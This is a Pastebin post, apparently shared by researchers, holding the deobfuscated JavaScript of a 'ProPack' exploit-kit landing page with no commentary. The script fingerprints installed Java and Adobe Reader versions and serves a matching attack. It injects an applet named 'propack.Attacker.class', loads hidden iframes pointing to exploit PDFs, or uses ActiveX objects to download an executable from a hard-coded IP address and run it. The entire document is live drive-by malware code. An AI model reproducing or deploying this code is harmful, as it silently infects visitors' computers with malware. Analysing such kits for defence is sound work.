Advertisement
Guest User

ProPack Landing deobfuscated

a guest
Nov 26th, 2012
1,276
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.61 KB | None | 0 0
  1. ('<OBJECT id=yy name=yy height=0 width=0 classid=clsid:CA8A9780-280D-11CF-A24D-444553540000></OBJECT>');
  2.  
  3. function gg(hh) {
  4. try {
  5. var ff = 0 /*@cc_on+@_jscript_version*10%10@*/
  6. ,
  7. dd = document.createElement('object'),
  8. ee = './/..//' + Math.floor(Math.random() * 999) + '.exe';
  9. if (ff && ff < 7) {
  10. dd.id = dd;
  11. dd.classid = 'clsid:BD96C556-65A3-11D0-983A-00C04FC29E36';
  12. var aa = dd.CreateObject('Adodb.stream', ''),
  13. bb = dd.CreateObject('Shell.Application', ''),
  14. cc = dd.CreateObject('msxml2.XMLHTTP', '');
  15. cc.open('GET', hh, false);
  16. cc.send();
  17. aa.type = 1;
  18. aa.open();
  19. aa.Write(cc.responseBody);
  20. aa.SaveToFile(ee, 2);
  21. aa.Close();
  22. bb.ShellExecute(ee, '', '', 'open', 1);
  23. }
  24. } catch (e) {}
  25. }
  26. function tt() {
  27. var ii, ll = '1.7.0',
  28. mm = '1.6.0',
  29. nn = '1.5.0',
  30. oo = '1.4.2';
  31. try {
  32. var rr = document.getElementById('ss').jvms;
  33. ii = rr.get(0).version;
  34. } catch (e) {
  35. function jj(ii) {
  36. var kk = 'JavaWebStart.isInstalled.' + ii + '.0';
  37. if (!ActiveXObject) {
  38. return false;
  39. }
  40. try {
  41. return (new ActiveXObject(kk) != null);
  42. } catch (e) {
  43. return false;
  44. }
  45. }
  46. ii = (jj(ll)) ? ll : (jj(mm)) ? mm : (jj(nn)) ? nn : (jj(oo)) ? oo : ii;
  47. }
  48. try {
  49. var pp = parseInt(ii.split('.')[1]),
  50. qq = (ii.split('_')[1]) ? parseInt(qq) : 0;
  51. if ((pp == 7) && ((qq >= 3) && (qq <= 6))) {
  52. J7();
  53. } else if (((pp == 6) && (qq < 31)) || ((pp == 7) && (qq < 3))) {
  54. J567();
  55. } else {
  56. P();
  57. }
  58. } catch (e) {
  59. P();
  60. }
  61. }
  62. function ac(ad) {
  63. var ae = document.createElement('iframe');
  64. ae.src = ad;
  65. ae.width = 0;
  66. ae.height = 0;
  67. ae.frameborder = 0;
  68. document.body.appendChild(ae);
  69. }
  70. function ab() {
  71. try {
  72. var vv = /EScript=([^,]+),/,
  73. ww = /AcroForm=([^,]+),/,
  74. uu = yy.GetVersions();
  75. uu = uu.match(vv)[1];
  76. zz = parseInt(uu.split('.')[0]);
  77. uu = parseInt(uu.replace(/\./g, ''));
  78. if ((uu < 711) && ((zz == 6) || (zz == 7))) {
  79. ac('asknkpgyl.pdf');
  80. } else if ((uu >= 800) && (uu < 931)) {
  81. ac('lsdsmthvcr.pdf');
  82. } else {
  83. gg('http://37.9.53.83/build2/iframesale/57rni6.php?j=1&k=2');
  84. gg('http://37.9.53.83/build2/iframesale/57rni6.php?j=2&k=2');
  85. }
  86. } catch (e) {
  87. gg('http://37.9.53.83/build2/iframesale/57rni6.php?j=1&k=2');
  88. gg('http://37.9.53.83/build2/iframesale/57rni6.php?j=2&k=2');
  89. }
  90. }
  91. function tt() {
  92. document.write('<' + 'object classid="clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA" ' + 'id=ss>' + '<' + '/' + 'object' + '>');
  93. var ii, ll = '1.7.0',
  94. mm = '1.6.0',
  95. nn = '1.5.0',
  96. oo = '1.4.2';
  97. try {
  98. var rr = document.getElementById('ss').jvms;
  99. ii = rr.get(0).version;
  100. } catch (e) {
  101. function jj(ii) {
  102. var kk = 'JavaWebStart.isInstalled.' + ii + '.0';
  103. if (!ActiveXObject) {
  104. return false;
  105. }
  106. try {
  107. return (new ActiveXObject(kk) != null);
  108. } catch (e) {
  109. return false;
  110. }
  111. }
  112. ii = (jj(ll)) ? ll : (jj(mm)) ? mm : (jj(nn)) ? nn : (jj(oo)) ? oo : null;
  113. }
  114. try {
  115. var pp = parseInt(ii.split('.')[1]);
  116. if (ii.split('_')[1]) {
  117. qq = parseInt(ii.split('_')[1]);
  118. } else {
  119. qq = 0;
  120. }
  121. if (((pp == 5) && (qq < 35)) || ((pp == 6) && (qq < 33)) || ((pp == 7) && (qq < 9))) {
  122. var a = document.createElement('applet');
  123. a.setAttribute('code', 'propack.Attacker.class');
  124. a.setAttribute('archive', 'http://37.9.53.83/build2/iframesale/gzlumyi5.php');
  125. var p = document.createElement('param');
  126. p.setAttribute('name', 'data');
  127. p.setAttribute('value', 'http://37.9.53.83/build2/iframesale/57rni6.php?j=1&k=1|http://37.9.53.83/build2/iframesale/57rni6.php?j=2&k=1|');
  128. a.appendChild(p);
  129. document.body.appendChild(a);
  130. } else {
  131. ab();
  132. }
  133. } catch (e) {
  134. ab();
  135. }
  136. }
  137. ds = new Date();
  138. var da = '';
  139. da = Date.parse(ds) / 1000;
  140. if (da < 1354284645) {
  141. tt();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement